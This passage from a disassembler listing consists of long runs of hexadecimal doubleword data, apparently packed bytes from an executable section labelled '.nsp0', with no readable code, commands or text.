		dd 28033372h, 9D863210h, 0E628039h, 7A2C1D11h, 8158CA2h
		dd 2B7D4F0Ch, 28783F03h, 0A90C5820h, 63C510AFh,	75D0EC0h
		dd 0D7B153C5h, 294E00B7h, 3E037654h, 7D7A47D2h,	717CF190h
		dd 609825E0h, 8563822Fh, 6B006E96h, 0EC3DFB4Bh,	1E4C52ACh
		dd 0EEAFF5DBh, 2EDC0941h, 3752880h, 0D7B850B3h,	6899D500h
		dd 2C78B22Fh, 49F2015Dh, 0E27BCDE1h, 0A391F004h, 1253430Fh
		dd 4EA2A0F0h, 29C6F5h, 4138DA0Ch, 0C7FD04D8h, 4FEC3F00h
		dd 1E4319DFh, 0C3E809D6h, 880CA07h, 1AC11BC9h, 21B9F58h
		dd 9C18153Bh, 1254E047h, 0C550001h, 9FAD0575h, 161F8AF4h
		dd 8414258h, 1A91CB03h,	0AF46FCh, 0B454BF2Ah, 0D5E868E1h
		dd 0B9CC8900h, 8D6C2730h, 527E003Ch, 0A7EC044Bh, 0E400E85Bh
		dd 104914D5h, 0A0DA2Ch,	0B619890Ch, 0FAD0FB04h,	752D3C01h
		dd 0E2F0D1F1h, 721C64D8h, 0CC7B0024h, 15D63479h, 0B3003E35h
		dd 64658420h, 384E3Dh, 0DC5B6C21h, 91879D68h, 0A4A22404h
		dd 4EC09015h, 71E4CB2h,	5C7AB3FAh, 0AC6607Eh, 0EB07EE47h
		dd 0D7FFE215h, 0DB497190h, 45170314h, 0A130306h, 2E77F098h
		dd 48F0F2ABh, 4A3E6FE5h, 816A3A8Ah, 0EBFEC134h,	9A70F31Ah
		dd 0FF0A00C0h, 0E4390855h, 0BAFE7347h, 0E0257F00h, 5ADEF7FBh
		dd 45600728h, 618A6543h, 0D94CD0A8h, 68E8EB85h,	4D9C7DE0h
		dd 84A22C06h, 1CD6EAC4h, 0C0096422h, 0BAF5784Ah, 0C400EB0Ah
		dd 0B6E83C80h, 4CC1E924h, 11DAEA7h, 0A9840003h,	8AB08805h
		dd 0C0001CE4h, 80CA8B2Eh, 7E690C1h, 0C7D31EE9h,	40FAE70Fh
		dd 0E1040675h, 72102C00h, 0B0368332h, 0FC3A0090h, 0FCCFD20h
		dd 8100FB92h, 83D02BB9h, 2CDD05EAh, 395280C2h, 65E8F980h
		dd 488E3763h, 308DEDE5h, 3A0E51B3h, 0BCC990A8h,	68A1C07h
		dd 1757ED1h, 0A0881FC0h, 0F2EB3CF2h, 4FC0032h, 5C9FB9EFh
		dd 42006C4Dh, 0FF54BB17h, 4722B87h, 46F302D8h, 0F880EE89h
		dd 3E0313A4h, 1D004D93h, 7601C71Ch, 0EBE09237h,	0E93C1703h
		dd 0D00467C0h, 3F052AC8h, 0EE82B14Eh, 8DABAF16h, 0CC7EC0DFh
		dd 720904E8h, 80F6D48Fh, 3DD3BD3Ch, 0D1242EFAh,	0C6006A71h
		dd 1237E903h, 2B9600AAh, 108DE776h, 3A0075B8h, 0C45420A7h
		dd 1F2C0F3Eh, 0C4097202h, 874A0CFAh, 0D0A3B0CAh, 2D008319h
		dd 0B4CFCCE0h, 66ED10h,	0F8AD68E7h, 851C7DA4h, 0CCF4423Dh
		dd 7B301D4Eh, 3F13DAEEh, 185C4D02h, 688E0E8Ch, 0DE26001Dh
		dd 7DF8C549h, 0D2E20300h, 7F242305h, 29700A1h, 0E0F9FDF2h
		dd 0EE007EC9h, 0BF82D8ADh, 0ABA3E8h, 0EB058567h, 0F516031Bh
		dd 0CFD7EA00h, 0B8AA5584h, 51271E91h, 0E8D04040h, 0B2566F20h
		dd 7396DD05h, 5580DF44h, 77FFA2h, 75CBFB59h, 534FC04Eh
		dd 92747F24h, 1800E024h, 0DE4BE810h, 9E140E12h,	68AF9608h
		dd 0EB1E0AE0h, 0D20B9349h, 803FB0A3h, 0A850EFE1h, 4A170094h
		dd 7D5F32BCh, 11008279h, 41C9945h, 3F1ADA0Dh, 130ED1F5h
		dd 6C60B3C7h, 45AB85D8h, 14934400h, 1A42F883h, 0AE7F7Fh
		dd 47498476h, 88D6CB55h, 23517100h, 54B88A3Eh, 37320025h
		dd 3CD160B2h, 5300F71Eh, 14421343h, 797AF1C1h, 0C89C0076h
		dd 0EA2C7E4Fh, 0F5004B1Eh, 8F8C04CAh, 4CBFA749h, 40001B32h
		dd 0F8D7F484h, 6500929Fh, 0D43DAF3Fh, 496659h, 0A9A44526h
		dd 47441653h, 0A69DAE18h, 0EC550Eh, 0ABF00798h,	3B06E98Ch
		dd 75E89300h, 0D9E23AE1h, 84503D4h, 0A7C77632h,	0FF96EBE0h
		dd 4F127A1Dh, 0AA39C4C0h, 24F46C58h, 3B184487h,	8130299Fh
		dd 463B03D8h, 0E43AE881h, 0AE1756FCh, 8500F1E0h, 342D220Dh
		dd 85000CCh, 0DED4BA04h, 0B400E542h, 6B1CDAB6h,	74AE9046h
		dd 16A11F8Fh, 7CA88E8Bh, 0CAFC5B60h, 920034F5h,	1C5815D1h
		dd 0E3AC6Eh, 8F433614h,	8C9C46A2h, 8A40F101h, 814A3B08h
		dd 603D840h, 428D0050h,	4D98EA0Ah, 2900E8F0h, 845E575Bh
		dd 0A0D2754Bh, 0CCED8Ch, 0F0BE481Ch, 0B3AE8C0Dh, 9AFC6A00h
		dd 7FE7F353h, 0F5DF03AAh, 7A8D7B58h, 22B5780Fh,	2FA4035h
		dd 0F3F4CB8h, 2FBF0142h, 53A22A00h, 33001034h, 6547E788h
		dd 3D180C04h, 0AB805249h, 41B26CECh, 0F586E34h,	70690052h
		dd 37AF60A3h, 2162005Ah, 1D6B400Dh, 0DB3B2B88h,	0C805003Ch
		dd 0C4156550h, 0BF77E9h, 0F12F40Ch, 95845D85h, 3C3E9A67h
		dd 0C74E30C7h, 43501C6Ch, 494E38h, 800EF8FCh, 7E9AD9Dh
		dd 0EC007571h, 0D43808FDh, 855FC9h, 5EB133A3h, 0BAA068FCh
		dd 119E3202h, 0C054DF08h, 7E14DE57h, 5C69006Eh,	4F77042h
		dd 4F5C2A6Ah, 300D1FD0h, 0B01C8700h, 1F625FD6h,	0E651C8h
		dd 702EC949h, 0A10378BAh, 0A3015785h, 954ED020h, 0D34900C4h
		dd 0BAFD561Ah, 541E4406h, 7B43A155h, 0B8503CB0h, 1CE00B04h
		dd 80A80858h, 5B4C53E8h, 0C400C98Bh, 0C62D4B9Bh, 0FE48475Ah
		dd 706C0161h, 0B8877B34h, 8350DDA1h, 3899940Fh,	42F397B2h
		dd 430B07A0h, 323CC8D1h, 6F000AD8h, 243D05h, 7728C342h
		dd 6119CA17h, 4015BA00h, 9504890Dh, 3C39EC6Dh, 0AC804582h
		dd 0BE51C270h, 0B8004929h, 0C61744BBh, 4A407Ah,	3BD2AF24h
		dd 33F2B911h, 0BCB37B16h, 0E4751600h, 0BB6FF5Ah, 0DB2493B8h
		dd 302D6580h, 0DC00EE0Bh, 0FB832E57h, 0A32259h,	5CDF1198h
		dd 733DB092h, 0DEA7021Eh, 9521E42h, 6821C013h, 1E50084h
		dd 0C419FED5h, 0BA0005C8h, 0CB5F4F1Ch, 2B82B54h, 0EAA2E809h
		dd 0A2C1CA03h, 30F1600Eh, 5F58A37Dh, 8BBF0094h,	0CCE8DDD8h
		dd 24BA070Ch, 0B0CF6D38h, 467154ABh, 8EC2130Eh,	0A0F12F10h
		dd 204DE4E2h, 3CF87708h, 22584354h, 0E80FEC00h,	945E6A0Dh
		dd 41FD301h, 1CBE6096h,	31FCBD40h, 4C5001C0h, 0A80E6802h
		dd 7FAED4AAh, 3FFFE400h, 0E6DE9481h, 10793CDBh,	0B881D53Ah
		dd 6DFEBDAAh, 3CC0200Bh, 500A6500h, 86EA015Eh, 55D404E1h
		dd 80FF31F5h, 40DEDDB3h, 51118300h, 5C196795h, 107F001Fh
		dd 0FEFAF876h, 0CF031896h, 0D6148E60h, 50FCF072h, 0D5380088h
		dd 8702BFEDh, 8D26559Bh, 0B300E052h, 507A366Ch,	0FE3500F6h
		dd 0ADD66AF9h, 5002818h, 47CA0CC1h, 4FC8D53h, 0C6297BDFh
		dd 0F09587DCh, 0A94FFD0Fh, 0EAE1AB00h, 0FCD4A7FEh, 3F750029h
		dd 12E653FFh, 0ECB064A4h, 3FF4FA4Ch, 0E9098082h, 22021845h
		dd 0DB313D53h, 0E5E8B780h, 0E2ABC8A0h, 3F61F600h, 750F09C3h
		dd 5D7D07h, 0B355565Ah,	0D14B1620h, 810CEA3Ah, 527333D6h
		dd 0EB20077Fh, 114000B4h, 31577242h, 43F8484Dh,	9729863Ch
		dd 0F3002625h, 544CF20h, 0B3850266h, 7C080C2Ch,	3B4C980h
		dd 2B1F4BD6h, 0B0000A60h, 0C8022E18h, 3F800F06h, 0DC01353h
		dd 2008101Ah, 4AA64126h, 3ED0003Fh, 2440D848h, 0C2790950h
		dd 38805F86h, 8E0E7412h, 28824C01h, 0C780D231h,	0F7E2C8h
		dd 4101028Ah, 0F686140Bh, 7570E000h, 0DE3C58F2h, 7637723Ah
		dd 3378F7h, 801F7BCDh, 44470FF8h, 73C6F600h, 0A3A5275h
		dd 0E6B37740h, 54D30F20h, 5C401460h, 612BC889h,	817A4400h
		dd 586A07E2h, 0F0C43FE4h
		dd 781CC91Ch, 40CEDC60h, 1001DF6h, 10B77538h, 1C9EBA3h
		dd 39F00A7Bh, 0ECC156CCh, 0BC00FA04h, 869460A0h, 0EDEF69Dh
		dd 3FAC8313h, 0D089AD00h, 807DCDEBh, 0A8201E00h, 0EA7D901h
		dd 0A2F10021h, 0CF02F2F0h, 0AC3910B8h, 0D06A4A4h, 1A24D904h
		dd 669CFA81h, 7397B0FBh, 0C4883C05h, 0E072500h,	0F62FCA5h
		dd 0EA7B8401h, 2F2985FAh, 0E0499F0h, 0E03906ADh, 32C30720h
		dd 172C7440h, 1739997Ah, 74126601h, 0D9075913h,	804B49BFh
		dd 5BBCE94Bh, 0A41002EBh, 6143536h, 222AD880h, 480FC8EDh
		dd 0A0026433h, 0BD105CCBh, 0E8E00B70h, 9407A326h, 2A271FC4h
		dd 3E45A01Bh, 5500A98Fh, 0D84BC179h, 0DFBBF3h, 0CED2031Fh
		dd 0F25B64BEh, 0BCC45424h, 791B200h, 4A0250h, 18066C74h
		dd 3FEB2880h, 1D8D3700h, 0FFEEB90Ah, 91FCE340h,	0CB3104E8h
		dd 0C0EB7460h, 362C13E9h, 230311E8h, 5BD24C30h,	0B0E8A097h
		dd 5A8A098h, 0D4370734h, 20358BB2h, 0EC0DC402h,	318E800h
		dd 3C836F11h, 0B91200A1h, 0B1437194h, 76003689h, 0C2230FC0h
		dd 0FF4BA14h, 0ACFE2F70h, 1588E200h, 32003A8Bh,	809DA2C8h
		dd 49A03Dh, 0ECA11A74h,	509E5CB9h, 32872900h, 0FF10280Ch
		dd 81A60015h, 5854C35Eh, 2000B22Ch, 5FB7DA36h, 3E94099Ah
		dd 5EE09332h, 83F07072h, 0E224B90Fh, 34801E1Ch,	5A7CA63Eh
		dd 0AEF90312h, 1BCD0854h, 0CA27F8E8h, 6AF59004h, 0BB878405h
		dd 0B464FCE0h, 0E0C3C72h, 0B844007Bh, 0C0507076h, 171EB4Ch
		dd 8C66C700h, 8304A8D8h, 0EAE90010h, 0C3FA3265h, 0E5005E75h
		dd 186C644Bh, 6288E8h, 98580F1Ah, 28682BF8h, 54059A0Eh
		dd 66007C8Fh, 20CD02EBh, 2D500E89h, 2098C75Fh, 1E00A2D7h
		dd 9A84B58Ch, 0EC3EAh, 4647BE66h, 4A4DBF83h, 0E81A0700h
		dd 57ECF391h, 81C32C69h, 7422097Ah, 0B5408300h,	0C0010A6Ch
		dd 38F640Ch, 3DDCD0BAh,	5CC10042h, 525051C3h, 8807EE66h
		dd 942C4AE9h, 0DF2D62D0h, 0BE5C0021h, 9EB0734Bh, 0AC3C6942h
		dd 0F25850h, 0E23B358Dh, 0FA01318Eh, 3463007Fh,	0D7EE56AAh
		dd 3600A5B7h, 0C67835Ah, 91D6F2h, 9A65E28Bh, 9F480DE0h
		dd 0B3805107h, 0D9250F4Ch, 2ED778C0h, 0C31328C0h, 0F99D00EDh
		dd 434907D0h, 0A650545h, 0C4C34E04h, 0E0158B0Bh, 0EA5657h
		dd 3685944h, 30058B64h,	3C148500h, 421904F2h, 0C4080F02h
		dd 4B80A829h, 96E88031h, 0AEE79404h, 0E7855491h, 0B27862C0h
		dd 1859005Eh, 0FE6A8B29h, 2713ABDh, 8624FF00h, 27C067C7h
		dd 33CB0E68h, 88091DBh,	0E8507417h, 62005AFCh, 0F207E688h
		dd 97D36Bh, 51759BB4h, 1457C922h, 0A2199513h, 0FBEE12h
		dd 4CBBD4DEh, 600F713h,	560B245Bh, 1CCB3A73h, 9F92EBA7h
		dd 403B1F3Dh, 5C6ABA0Ah, 3501FF4Fh, 93E1AA2Ch, 768006A6h
		dd 8FB6751Bh, 503AC297h, 11EC805Fh, 3CF40E61h, 582F0064h
		dd 74C1487Fh, 80FAB89Fh, 0FB4F7D00h, 9536D0D6h,	1E40087h
		dd 2410497h, 0F5162575h, 0C702F45Dh, 409AFC54h,	0EB4599h
		dd 0F97C1A18h, 8A850B0Ch, 0AA1E017Bh, 8D402E59h, 68EC552Dh
		dd 57B3004Fh, 0E2AEC583h, 343E1215h, 0F6D2AC75h, 0D840501Dh
		dd 4C32FFB3h, 8A60083h,	962E5CF6h, 8EF87193h, 221FEC7Ah
		dd 0B44F4175h, 2B3960E4h, 705F1BC2h, 0EF8F17Ch,	83F41D11h
		dd 16158EA2h, 784C2DC0h, 80005C4Ah, 58053B09h, 0EE7EBDD2h
		dd 95043D28h, 0EFEB0B92h, 0CADF1905h, 0A8963BC0h, 424B01D7h
		dd 153B1249h, 0E10EF0A5h, 683C7700h, 2E855274h,	7FD70059h
		dd 756E8441h, 8006604h,	4A92BE69h, 0E26B5B10h, 0F313E2E2h
		dd 19C4B8DDh, 2C874C76h, 2078840Eh, 0F4285E4h, 97801F10h
		dd 41B42C3Dh, 18BC16AEh, 45AC00BFh, 6E756F46h, 904F6400h
		dd 0C27288Ah, 0B1383EFFh, 96BD7800h, 50101560h,	5CBF5300h
		dd 0FD702FC9h, 1A0B00A0h, 0AB4C0503h, 1500CA8Ah, 121F71D1h
		dd 2B50296h, 89F4F287h,	0CAC00D14h, 680084E9h, 0A177EA90h
		dd 490894h, 143EA259h, 0A30C6674h, 314F300Eh, 1F35CFBDh
		dd 50222C00h, 166856h, 510EF57Ah, 0A0ED7E44h, 0B5022AB0h
		dd 50093195h, 32836068h, 0DB5D0303h, 0A559974h,	2EB20400h
		dd 684C2B7Ah, 13D7614h,	66400885h, 0CCA8D753h, 5C6761EDh
		dd 0ACC01C20h, 6F05065h, 62E1B857h, 1E00A03Ah, 6A04C80Eh
		dd 3C8B421Ch, 1B808980h, 472052D4h, 123B9028h, 9734CFAh
		dd 0A94CFh, 53BE23F0h, 85E0058h, 862A840Ch, 0F107B878h
		dd 0A33C201Dh, 3410801Fh, 5CD6490h, 364911A1h, 24810FA8h
		dd 5B382C00h, 5F0265D4h, 44BD2953h, 96C320h, 0B73490CAh
		dd 72D652A8h, 789CF800h, 0C1E5278Dh, 4CAAA012h,	0F613B888h
		dd 0EC3700BEh, 9075DBD5h, 741DCBF0h, 40036244h,	0D77C8B52h
		dd 0AB782AB0h, 0D7A70397h, 0CCD8A504h, 509D0C90h, 53710300h
		dd 82FB37D6h, 562E003Eh, 75662F0Fh, 54003BAAh, 0E0D63A90h
		dd 0D7BC5Bh, 0A1AAC9Fh,	4410044Fh, 0B34C8F00h, 0FE91C690h
		dd 0EADCE9ADh, 0B8323D60h, 0E6B90380h, 69283013h, 0F35FA401h
		dd 25FF3BABh, 6103D0CBh, 1CA70090h, 49E4491h, 34F66A71h
		dd 0C028BB75h, 0C6FCE7A1h, 0FBCD8204h, 81C00B21h, 79747C02h
		dd 0A72E092Ah, 3E833807h, 0B91570Dh, 0FB77001h,	80041D3Bh
		dd 0DDCA0A89h, 1C3AFB7Ah, 0C08DB370h, 0B979B528h, 0D8038BE2h
		dd 0EBCE5798h, 7E2BE87Ch, 384F0008h, 0C7060317h, 0D70096B5h
		dd 885444A6h, 2901164h,	2135E6Ch, 894193ADh, 0CF9BF0FDh
		dd 0CB281D04h, 32805D55h, 0BC035Ah, 5E6D9FD4h, 83D7E1D3h
		dd 28AFEA00h, 0B73B677Ch, 2D0E74C5h, 3AF03659h,	7720C00h
		dd 0A8C37581h, 31A500F3h, 0FDF9C6F8h, 5300707Eh, 0E98A5A77h
		dd 0EF92A2h, 0F23A2C29h, 0F8109C65h, 51541700h,	8A87C545h
		dd 0D37BB4h, 52FB25D2h,	9264F2C3h, 4B4AFC13h, 694CA600h
		dd 841C10h, 9E5D738Bh, 0F042BF19h, 0C8915500h, 5CCE2A7Ah
		dd 18B91C53h, 35B8315h,	0A3D8FED3h, 0F598E011h,	51A4042Ch
		dd 89ABD00h, 7DB889h, 20A359B0h, 0EC46C4BBh, 45D69300h
		dd 0A78D69BAh, 477F3D4Bh, 0AF5D2F83h, 4CE010ACh, 400051B6h
		dd 0AD427BD8h, 3EB84323h, 508E845Ch, 124080D6h,	0F33B558Dh
		dd 0FFA48326h, 0C8DFC900h, 680A11h, 0AC3EBDF0h,	0D6991401h
		dd 1749FA00h, 0F3458AC0h, 0A6C85CFEh, 16090173h, 28EB2280h
		dd 0E1F7F8C6h, 1F60139h, 88F4328Fh, 5A60F563h, 8721267Ch
		dd 0DC20006Eh, 8056510Bh, 0FC4DEC01h, 977BE983h, 3F876C0h
		dd 0C909DB31h, 78803974h, 3C00AC37h, 817A15E8h,	98427D63h
		dd 0E9D000FEh, 4402701Fh, 0E707EB49h, 72D5068Bh, 8A0D00BEh
		dd 553A16h, 0FAED75F5h,	615097E0h, 0C30045Ch, 5A0689D8h
		dd 2890005Fh, 0B56D7E9h, 42B85BC5h, 0DE1C5525h,	0BD340310h
		dd 0B4EAB309h, 0F87877C1h, 0EC00FCF9h, 0C2B2FFCEh, 0B8901548h
		dd 69F70059h, 1680827h,	2F000BD4h, 41EDCE80h, 152420h
		dd 74664C94h, 1FFD389h,	840F3A00h, 113FA9F4h, 0BFDE0096h
		dd 0CA02A0CCh, 30005308h, 0A30D1C64h, 9105CA5h,	0F34E8218h
		dd 7DBA5080h, 2409D965h, 8B14285Eh, 126D00CFh, 3A551D89h
		dd 0E0835AEDh, 0E9A878F5h, 6952A4F0h, 85C79900h, 77E80810h
		dd 0F2C403AEh, 0F42133DEh, 527D23D0h, 0E2399902h, 405A353Ch
		dd 91A92C9h, 366E194Fh,	16C0D08Fh, 0A3CDF841h, 2134F600h
		dd 0F4107D2Ah, 0C94E00D4h
		dd 0E1665EE3h, 0F900E2B4h, 0F3BE9045h, 5D592F0h, 0ED8B9CB8h
		dd 0AFF7819Bh, 0CB4FF98Fh, 759733A8h, 4FAA5F2h,	0B73A2274h
		dd 84341F1Ch, 0BB38D840h, 3E7C92AEh, 5C00F2FEh,	82EFD7B1h
		dd 0F7031B31h, 24A0E742h, 150A0E8h, 0A798009Dh,	3EBF7DD8h
		dd 0F53F97B4h, 0FC53801Eh, 75A85BAFh, 0A4E300D7h, 886EA79Ch
		dd 0DF7C514Ch, 0B0465A07h, 0ED08087h, 0FAE33C13h, 3D8B002Eh
		dd 833F6052h, 0B80011EFh, 0A608577Ah, 3E210429h, 0A0003A45h
		dd 5FFC07B2h, 0EA096A55h, 87067174h, 85600A53h,	1D33C25Eh
		dd 81F2DD18h, 281536C4h, 0F82CD589h, 0AC907784h, 0D30022FAh
		dd 0A51DE87Eh, 5539D9h,	0A4CFAAACh, 0B6AB362Ah,	4ED25005h
		dd 7BC04B56h, 888CBh, 0C80DF415h, 0C2F0110Ch, 28588D07h
		dd 4540D8D6h, 4495ECh, 6DDB35F6h, 0CF4130D2h, 9D71EB1Fh
		dd 0EAB82280h, 3EAEE3h,	44B4228h, 0AFAF9DFh, 8F6A3F00h
		dd 8A587B9Fh, 54150027h, 0C7642994h, 5B0033A7h,	1E759546h
		dd 15A9Bh, 24871785h, 36FF1491h, 0C306F400h, 8F75D6EAh
		dd 0FA5E004Ah, 85F310D2h, 2400CF3Ch, 93DBE848h,	0C65F49h
		dd 0A73079D7h, 1FB9BF0h, 2B887700h, 317B53BBh, 7557D6Eh
		dd 0F96AB121h, 0D0F84768h, 82F50928h, 29891600h, 9ECF0D45h
		dd 0C001FEC8h, 0B94CB70h, 0CD0099F4h, 517FEF62h, 0A15803h
		dd 0E474B118h, 846C1614h, 4F268BF0h, 0D2001180h, 0AD44C4DDh
		dd 276F3CB7h, 0FC773E00h, 10428EB2h, 0E9894A00h, 931675F2h
		dd 157A25h, 6950C7B1h, 23ABC28Fh, 5D400200h, 53992444h
		dd 0DF785C41h, 0D2F63200h, 0D49B0309h, 864630Fh, 69FF000Bh
		dd 44CFCCh, 0B94B851Ah,	1452965Bh, 0E6BA5600h, 13505358h
		dd 9C780089h, 4AA574F1h, 310229BEh, 8D2A0746h, 45244054h
		dd 37120143h, 3570A985h, 7378F456h, 74160800h, 9CAE0D24h
		dd 9A5E0EE4h, 834023A0h, 0BF42AAA9h, 21D62D00h,	0C5521ACAh
		dd 6A290007h, 0C6644367h, 0CF0034AAh, 5076A3B3h, 3C20614h
		dd 0A6F0997h, 0CAA11A9Ch, 983DF005h, 165C6B7Bh,	15C500E7h
		dd 6EC81D33h, 45ED3D3Bh, 59348200h, 5B782406h, 744A6000h
		dd 63C27A12h, 10771Fh, 64B82D15h, 0E719BB77h, 0B40A7200h
		dd 9427F8FCh, 807100E0h, 3C6C37D2h, 0E20085F5h,	0FB876B8Dh
		dd 0FC097Dh, 0CEFAC922h, 0B39AC574h, 9CD55A00h,	0EF4903E8h
		dd 2B120F5Dh, 0D0944BC7h, 80D7B31Fh, 6D20D429h,	7807431Fh
		dd 94FBA538h, 56E2B800h, 0D25A000Eh, 0E4471019h, 66037488h
		dd 0A1E614C5h, 0F26F935h, 0A8AEB40h, 2851001Ch,	90135D1Dh
		dd 0E200143Ch, 72A0DC24h, 0BF8215B0h, 1EEAAF8h,	28037575h
		dd 835C3C2Ah, 0C076FA2Dh, 50C065h, 2143BE8h, 0D344E7B1h
		dd 0DC199C00h, 921C298Dh, 0A94909D4h, 0EC83A116h, 4EE05DAFh
		dd 3E7EB089h, 33705700h, 3593D588h, 97B50369h, 2C5F256Fh
		dd 2B29C7A8h, 34A1A400h, 525BDB8Ah, 0E391006Eh,	882FB580h
		dd 4200D621h, 0D0396147h, 675B0Ah, 689FC274h, 282D35D2h
		dd 88595D16h, 389E991Ch, 601CA18Fh, 10FAE72Ch, 1E3700F1h
		dd 96303611h, 6800C020h, 80284D53h, 979EA5h, 184FEA8Fh
		dd 0E555012Bh, 0C7521400h, 8BEC04F4h, 947A35h, 0D025608Ah
		dd 9B2341BEh, 9864B600h, 8B16116Ch, 53040748h, 62F5AB7Dh
		dd 9E02368h, 0DF0093F7h, 0D89DBFEDh, 0EAD544FEh, 89AA00A3h
		dd 40191802h, 58001A10h, 32C78E66h, 0B92B16h, 68444260h
		dd 73CA11ACh, 3326040Fh, 5AF9E00Ah, 8E3210h, 89D02B09h
		dd 0E299868Ah, 688BD100h, 98FF85F6h, 0C4C500F7h, 54913CA3h
		dd 41003BEBh, 0A5C70334h, 1DEE6151h, 40AD5708h,	8045A268h
		dd 6C243B33h, 0C0F7B24h, 855E20F8h, 1E12DB9Ch, 0CEB28B61h
		dd 378040A3h, 3DAB0813h, 6F07100h, 0C65C035Dh, 51EB002Fh
		dd 0D9981B7Fh, 0DC3FEA46h, 0C8D200FAh, 0A44B6BE9h, 5E7600B5h
		dd 6240FF38h, 0E800C1C2h, 8474DB42h, 72011Fh, 0A048F723h
		dd 11EB03E9h, 99FCBD07h, 0A1C0C266h, 0FE38019Dh, 90680015h
		dd 0D3BF976Bh, 4B07C837h, 0A91EB06Eh, 142559C0h, 0FCBC015Dh
		dd 0F1D03449h, 0C38D033h, 22E4E21Dh, 6E7DDBC0h,	7E1960Bh
		dd 2F571327h, 51B8E010h, 9E3E18C0h, 21C026Dh, 0E06FE80Bh
		dd 4E1660h, 0BA673021h,	0E52E70A4h, 8CBBE000h, 85340F0Ah
		dd 0E3C001EEh, 22A05CA1h, 18C4D428h, 2052E51Eh,	2B27C880h
		dd 0EFD00Ah, 0BE848D4Fh, 0C7751D83h, 0A5F2D700h, 0FEF40E48h
		dd 67397BE9h, 0A021C80Dh, 5F0B0CA8h, 0D55EECFDh, 4B04E600h
		dd 0B057A384h, 972D00E1h, 70895130h, 94900853h,	5C81B800h
		dd 0EA18212Bh, 4352008Eh, 9747DE1Dh, 95009436h,	0A1F146A9h
		dd 9685502h, 927C86DDh,	0BC210B80h, 563C75FDh, 0C289F3Dh
		dd 0E91EF8C0h, 79ECA419h, 30C700F5h, 0AFAA50BCh, 4C00C641h
		dd 0B82386D6h, 3ACF28h,	6760C5F0h, 169A310Dh, 0FA4FFF26h
		dd 50808303h, 99E8C83Bh, 0CEA0078h, 0FF892EE4h,	88A0877Bh
		dd 0B77DAFF4h, 0B6902501h, 0DADF4CD4h, 0E479B70h, 0D36948B9h
		dd 0B8181B00h, 410578A4h, 0BA1C09A0h, 359ACE80h, 5B30007Dh
		dd 80B81E20h, 85E2E576h, 22B0D00h, 0FFFEC63Dh, 0FD250016h
		dd 0AEB617B4h, 580078C0h, 5E306840h, 1500E87h, 21B3EDEBh
		dd 0F1B28C91h, 0CCD721CBh, 2B005A75h, 6A151F5Ch, 90D4B957h
		dd 3B9607AEh, 677AFACDh, 6D33A0E7h, 8A006AEBh, 1C781532h
		dd 328890Ah, 18452059h,	1DE8F0FBh, 4A7AC7EAh, 80006BF6h
		dd 1CC20978h, 3D1FB80Fh, 0E85F425Bh, 0F82B007Eh, 103D2583h
		dd 0A3750F44h, 6467D462h, 0C71103Ch, 1700EAB9h,	0CBD53E13h
		dd 0BA3B009h, 6167DD1h,	404B5A07h, 0C9250C15h, 3910171Eh
		dd 0B56CE140h, 51B7C4h,	6348921Eh, 82A5083Dh, 8014773Ch
		dd 0E5EB4A17h, 2CE3124Eh, 0E1C399h, 2FE81504h, 3B72DFEEh
		dd 1B29DB1Ch, 0E0A6058Fh, 79B5767Dh, 0FC4400A4h, 7068D9FEh
		dd 0A200854Ch, 2F20D20Bh, 3A8A1Fh, 42C74555h, 0E932BB3Ch
		dd 150C181Dh, 4FCB7A40h, 0ED3AC71h, 0C2C38449h,	37568D80h
		dd 0A1003805h, 0C926486Ch, 2D60E4h, 68301E40h, 8528A0FFh
		dd 0A8B20100h, 0B4D7504Ch, 6BC00ABh, 0CAC13994h, 14003589h
		dd 54886D45h, 2AA450h, 48992FB0h, 0EB89E02Dh, 39E6B00h
		dd 0CB612CCAh, 0FA3D003Bh, 99407422h, 4F1E086Dh, 2B001B93h
		dd 0E78253E3h, 9550247Ah, 3FF30052h, 0FCC8BAB2h, 16F6AD0Fh
		dd 0ACB3C7CBh
dword_4F0044	dd 40CC4830h, 29A300A2h, 1D880201h, 17003A8Ch, 28262CB8h
					; DATA XREF: .nsp0:0043FD14o
		dd 0A0BD98h, 0BC07C341h, 84CC501Ah, 9CDB4E00h, 635EAFE9h
		dd 2E47AE3h, 0C95A8A26h, 70C3ED7Fh, 5EC0CB98h, 0AC9E2C3Dh
		dd 900480B6h, 5AC02D89h, 98ECCEF6h, 586179F5h, 2008DBDh
		dd 898F0C6Dh, 0FC002938h, 4F63CE5Eh, 0A32630h, 0C273A517h
		dd 25228A6Bh, 0F90068EAh, 0CCEAD723h, 6AFDE6h, 8AE7C928h
		dd 0A581CE09h, 2CE6DA79h, 87170501h, 350304CCh,	0C037C03Bh
		dd 3800E87Fh, 0C7014EBDh, 3F7794h, 0AC9E6C7Bh, 97E548AEh
		dd 68335500h, 720AF2C1h, 0D4C40BC8h, 80D753E7h,	711F1C24h
		dd 766C0012h, 4BBC324Fh, 0A50014D1h, 0C8D8D707h, 6457EAh
		dd 1328F7E4h, 8FCA2443h, 763D2673h, 62960090h, 0AFD394FDh
		dd 0F3010069h, 672710B8h, 0DEFC5B9Ah, 250066F0h, 1904532Dh
		dd 451586h, 96BAB30Eh, 4F52A985h, 1DC2F94Ch, 0B05F07EBh
		dd 7800CA2Ch, 17883CE5h, 5B2F0769h, 203064C0h, 0ADA454A8h
		dd 0B9E5A207h, 8DC71087h, 6E2F8190h, 2D2B00BEh,	0CD3788B0h
		dd 4C025A8Ch, 0CF584A1Ah, 52F080A7h, 0C6F87Bh, 0D1940584h
		dd 4A0F7D44h, 0A30FDBB8h, 0A0A15111h, 0B25D64AFh, 6BDF00A6h
		dd 6A5FD289h, 0D1CE3C5h, 75809B7Eh, 0ECFFF4A2h,	32A7E16h
		dd 64971310h, 12E0ABBDh, 930C74Ch, 0B1C8CC8Dh, 7645002Ch
		dd 8697E23Fh, 2A0013EBh, 52ACF19Fh, 50F9D4h, 0A9837D55h
		dd 0A87A1F6Bh, 0B24248h, 0A7C3DE2Ah, 3C11297h, 0F0072809h
		dd 0C50AEEh, 521502E1h,	0A012DA55h, 8301A6A5h, 9CFF305Ch
		dd 3C1B7BCCh, 7FC1486h,	1CF83101h, 0C21AF052h, 0EA01C1D0h
		dd 0B52C0318h, 0EBE99473h, 0AD5CE0h, 0A549774Bh, 0AE752E08h
		dd 0D65BE900h, 2DAB5612h, 1657824h, 0F85AD836h,	0E43C5EC7h
		dd 0E00B414h, 95FFE843h, 20A889h, 8D5CEA9Bh, 0C8B3A7F6h
		dd 7275C312h, 0C0331FEFh, 11801CA3h, 8474100Bh,	9E7E8C3Bh
		dd 30007958h, 86C3298Ah, 34220064h, 6C2BC187h, 1C00237Fh
		dd 0B393BA8Eh, 3CF5F84Ah, 0F513E5h, 1930F2E8h, 488A3C53h
